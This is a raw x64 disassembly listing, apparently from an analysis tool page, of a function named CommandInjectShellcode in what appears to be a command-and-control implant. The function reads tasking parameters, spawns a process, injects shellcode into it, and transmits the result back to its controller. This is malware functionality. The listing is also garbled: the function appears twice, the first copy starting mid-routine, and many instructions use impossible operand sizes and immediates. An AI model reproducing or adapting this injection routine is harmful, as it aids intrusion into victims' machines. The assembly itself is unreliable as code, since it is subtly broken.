14000bb96mov [rsp+48], r9
14000bb9bmov r8, r15
14000bb9emov r9l, 0x8000014
14000bba4mov [rsp+40], r10l
14000bba9call ProcessCreate
14000bbaetest eax, eax
14000bbb0je 0x14000bc4f
14000bbb6mov r9l, [rsp+136]
14000bbbemov r8l, 1269
14000bbc4lea rdx, [rip+0x20f05]
14000bbcblea rcx, [rip+0x1af06]
14000bbd2call printf
14000bbd7mov eax, [rsp+116]
14000bbdbxor r8l, r8l
14000bbdemovzx ecx, bl
14000bbe1mov [rsp+48], r8
14000bbe6mov rdx, [rsp+120]
14000bbebmov r9l, ebp
14000bbeexor r8l, r8l
14000bbf1mov [rsp+64], rax
14000bbf6mov eax, [rsp+112]
14000bbfamov [rsp+56], r14
14000bbffmov [rsp+40], rax
14000bc04mov [rsp+32], r12
14000bc09call Inject
14000bc0emov ebx, eax
14000bc10test eax, eax
14000bc12je 0x14000bc20
14000bc14mov rcx, [rsp+120]
14000bc19xor edx, edx
14000bc1bcall ProcessTerminate
14000bc20
14000bc20loc_14000bc20:
14000bc20mov rcx, [rsp+120]
14000bc25test rcx, rcx
14000bc28je 0x14000bc2f
14000bc2acall SysNtClose
14000bc2f
14000bc2floc_14000bc2f:
14000bc2fmov rcx, [rsp+128]
14000bc37test rcx, rcx
14000bc3aje 0x14000bc41
14000bc3ccall SysNtClose
14000bc41
14000bc41loc_14000bc41:
14000bc41mov ecx, 24
14000bc46xor eax, eax
14000bc48rep stosb [rdi], al
14000bc4ajmp 0x14000bd26
14000bc4f
14000bc4floc_14000bc4f:
14000bc4fmov rax, [rsi+2230]
14000bc56mov r8l, 1292
14000bc5clea rdx, [rip+0x20e6d]
14000bc63lea rcx, [rip+0x1ae8f]
14000bc6amov r9l, [rax+104]
14000bc6ejmp 0x14000bd1c
14000bc73
14000bc73loc_14000bc73:
14000bc73lea r9, [rip+0x1aead]
14000bc7amov r8l, 1298
14000bc80lea rdx, [rip+0x20e49]
14000bc87lea rcx, [rip+0x1a37a]
14000bc8ecall printf
14000bc93mov eax, [rsp+116]
14000bc97xor edx, edx
14000bc99mov [rsp+56], r14
14000bc9emov [rsp+48], rdx
14000bca3movzx ecx, bl
14000bca6mov r9l, ebp
14000bca9mov r8l, r15l
14000bcacmov [rsp+64], rax
14000bcb1mov eax, [rsp+112]
14000bcb5xor edx, edx
14000bcb7mov [rsp+32], r12
14000bcbcmov [rsp+40], rax
14000bcc1jmp 0x14000bd13
14000bcc3
14000bcc3loc_14000bcc3:
14000bcc3lea r9, [rip+0x1ae6f]
14000bccamov r8l, 1303
14000bcd0lea rdx, [rip+0x20df9]
14000bcd7lea rcx, [rip+0x1a32a]
14000bcdecall printf
14000bce3mov eax, [rsp+116]
14000bce7movzx ecx, bl
14000bceamov r9l, ebp
14000bcedmov [rsp+56], r14
14000bcf2xor r8l, r8l
14000bcf5or rdx, -1
14000bcf9mov [rsp+64], rax
14000bcfexor eax, eax
14000bd00mov [rsp+48], rax
14000bd05mov eax, [rsp+112]
14000bd09mov [rsp+32], r12
14000bd0emov [rsp+40], rax
14000bd13
14000bd13loc_14000bd13:
14000bd13call Inject
14000bd18mov ebx, eax
14000bd1ajmp 0x14000bd26
14000bd1c
14000bd1cloc_14000bd1c:
14000bd1ccall printf
14000bd21mov ebx, 1
14000bd26
14000bd26loc_14000bd26:
14000bd26mov edx, ebx
14000bd28mov rcx, r13
14000bd2bcall PackageAddInt32
14000bd30mov rcx, r13
14000bd33call PackageTransmit
14000bd38add rsp, 152
14000bd3fpop rbx
14000bd40pop rsi
14000bd41pop rdi
14000bd42pop rbp
14000bd43pop r12
14000bd45pop r13
14000bd47pop r14
14000bd49pop r15
14000bd4bret
14000ba10
14000ba10CommandInjectShellcode:
14000ba10push r15
14000ba12xor eax, eax
14000ba14xor r11l, r11l
14000ba17push r14
14000ba19push r13
14000ba1bpush r12
14000ba1dpush rbp
14000ba1epush rdi
14000ba1fpush rsi
14000ba20mov rsi, rcx
14000ba23mov ecx, 6
14000ba28push rbx
14000ba29sub rsp, 152
14000ba30lea rdi, [rsp+120]
14000ba35mov [rsp+112], r11l
14000ba3arep stosd [rdi], eax
14000ba3cmov ecx, 24
14000ba41mov [rsp+116], r11l
14000ba46call PackageCreate
14000ba4bmov rcx, rsi
14000ba4emov r13, rax
14000ba51call ParserGetInt32
14000ba56mov rcx, rsi
14000ba59mov [rsp+108], eax
14000ba5dcall ParserGetInt32
14000ba62mov rcx, rsi
14000ba65mov ebx, eax
14000ba67call ParserGetInt32
14000ba6clea rdx, [rsp+112]
14000ba71mov rcx, rsi
14000ba74mov ebp, eax
14000ba76call ParserGetBytes
14000ba7blea rdx, [rsp+116]
14000ba80mov rcx, rsi
14000ba83mov r12, rax
14000ba86call ParserGetBytes
14000ba8bmov rcx, rsi
14000ba8emov r14, rax
14000ba91call ParserGetInt32
14000ba96test ebp, ebp
14000ba98mov [rsp+32], ebx
14000ba9cmov r9l, [rsp+108]
14000baa1mov r15l, eax
14000baa4mov [rsp+64], r14
14000baa9mov r8l, 1238
14000baaflea rdx, [rip+0x1a7d0]
14000bab6lea rax, [rip+0x1a7c4]
14000babdmov [rsp+80], r15l
14000bac2lea rcx, [rip+0x1af28]
14000bac9cmove rax, rdx
14000bacdmov edx, [rsp+116]
14000bad1mov [rsp+48], r12
14000bad6mov [rsp+72], edx
14000badamov edx, [rsp+112]
14000bademov [rsp+40], rax
14000bae3mov [rsp+56], edx
14000bae7lea rdx, [rip+0x20fe2]
14000baeecall printf
14000baf3mov r9l, [rsp+108]
14000baf8cmp r9l, 1
14000bafcje 0x14000bc73
14000bb02cmp r9l, 2
14000bb06je 0x14000bcc3
14000bb0cmov r8l, 1309
14000bb12lea rdx, [rip+0x20fb7]
14000bb19lea rcx, [rip+0x1b02c]
14000bb20test r9l, r9l
14000bb23jne 0x14000bd1c
14000bb29lea r9, [rip+0x1af6c]
14000bb30mov r8l, 1257
14000bb36lea rdx, [rip+0x20f93]
14000bb3dlea rcx, [rip+0x1a4c4]
14000bb44lea rdi, [rsp+120]
14000bb49call printf
14000bb4emov rsi, [rip+0x2081b]
14000bb55test ebp, ebp
14000bb57mov r8l, 1265
14000bb5dlea rdx, [rip+0x20f6c]
14000bb64lea rcx, [rip+0x1af42]
14000bb6bmov r15, [rsi+264]
14000bb72cmovne r15, [rsi+256]
14000bb7amov r9, r15
14000bb7dcall printf
14000bb82xor ecx, ecx
14000bb84test ebp, ebp
14000bb86mov [rsp+32], rdi
14000bb8bsete cl
14000bb8exor r9l, r9l
14000bb91xor r10l, r10l
14000bb94xor edx, edx
14000bb96mov [rsp+48], r9
14000bb9bmov r8, r15
14000bb9emov r9l, 0x8000014
14000bba4mov [rsp+40], r10l
14000bba9call ProcessCreate
14000bbaetest eax, eax
14000bbb0je 0x14000bc4f
14000bbb6mov r9l, [rsp+136]
14000bbbemov r8l, 1269
14000bbc4lea rdx, [rip+0x20f05]
14000bbcblea rcx, [rip+0x1af06]
14000bbd2call printf
14000bbd7mov eax, [rsp+116]
14000bbdbxor r8l, r8l
14000bbdemovzx ecx, bl
14000bbe1mov [rsp+48], r8
14000bbe6mov rdx, [rsp+120]
14000bbebmov r9l, ebp
14000bbeexor r8l, r8l
14000bbf1mov [rsp+64], rax
14000bbf6mov eax, [rsp+112]
14000bbfamov [rsp+56], r14
14000bbffmov [rsp+40], rax
14000bc04mov [rsp+32], r12
14000bc09call Inject
14000bc0emov ebx, eax
14000bc10test eax, eax
14000bc12je 0x14000bc20
14000bc14mov rcx, [rsp+120]
14000bc19xor edx, edx
14000bc1bcall ProcessTerminate
14000bc20
14000bc20loc_14000bc20:
14000bc20mov rcx, [rsp+120]
14000bc25test rcx, rcx
14000bc28je 0x14000bc2f
14000bc2acall SysNtClose
14000bc2f
14000bc2floc_14000bc2f:
14000bc2fmov rcx, [rsp+128]
14000bc37test rcx, rcx
14000bc3aje 0x14000bc41
14000bc3ccall SysNtClose
14000bc41
14000bc41loc_14000bc41:
14000bc41mov ecx, 24
14000bc46xor eax, eax
14000bc48rep stosb [rdi], al
14000bc4ajmp 0x14000bd26
14000bc4f
14000bc4floc_14000bc4f:
14000bc4fmov rax, [rsi+2230]
14000bc56mov r8l, 1292
14000bc5clea rdx, [rip+0x20e6d]
14000bc63lea rcx, [rip+0x1ae8f]
14000bc6amov r9l, [rax+104]
14000bc6ejmp 0x14000bd1c
14000bc73
14000bc73loc_14000bc73:
14000bc73lea r9, [rip+0x1aead]
14000bc7amov r8l, 1298
14000bc80lea rdx, [rip+0x20e49]
14000bc87lea rcx, [rip+0x1a37a]
14000bc8ecall printf
14000bc93mov eax, [rsp+116]
14000bc97xor edx, edx
14000bc99mov [rsp+56], r14
14000bc9emov [rsp+48], rdx
14000bca3movzx ecx, bl
14000bca6mov r9l, ebp
14000bca9mov r8l, r15l
14000bcacmov [rsp+64], rax
14000bcb1mov eax, [rsp+112]
14000bcb5xor edx, edx
14000bcb7mov [rsp+32], r12
14000bcbcmov [rsp+40], rax
14000bcc1jmp 0x14000bd13
14000bcc3
14000bcc3loc_14000bcc3:
14000bcc3lea r9, [rip+0x1ae6f]
14000bccamov r8l, 1303
14000bcd0lea rdx, [rip+0x20df9]
14000bcd7lea rcx, [rip+0x1a32a]
14000bcdecall printf
14000bce3mov eax, [rsp+116]
14000bce7movzx ecx, bl
14000bceamov r9l, ebp
14000bcedmov [rsp+56], r14
14000bcf2xor r8l, r8l
14000bcf5or rdx, -1
14000bcf9mov [rsp+64], rax
14000bcfexor eax, eax
14000bd00mov [rsp+48], rax
14000bd05mov eax, [rsp+112]
14000bd09mov [rsp+32], r12
14000bd0emov [rsp+40], rax
14000bd13
14000bd13loc_14000bd13:
14000bd13call Inject
14000bd18mov ebx, eax
14000bd1ajmp 0x14000bd26
14000bd1c
14000bd1cloc_14000bd1c:
14000bd1ccall printf
14000bd21mov ebx, 1
14000bd26
14000bd26loc_14000bd26:
14000bd26mov edx, ebx
14000bd28mov rcx, r13
14000bd2bcall PackageAddInt32
14000bd30mov rcx, r13
14000bd33call PackageTransmit
14000bd38add rsp, 152
14000bd3fpop rbx
14000bd40pop rsi
14000bd41pop rdi
14000bd42pop rbp
14000bd43pop r12
14000bd45pop r13
14000bd47pop r14
14000bd49pop r15
14000bd4bret
14000ba10
Loading..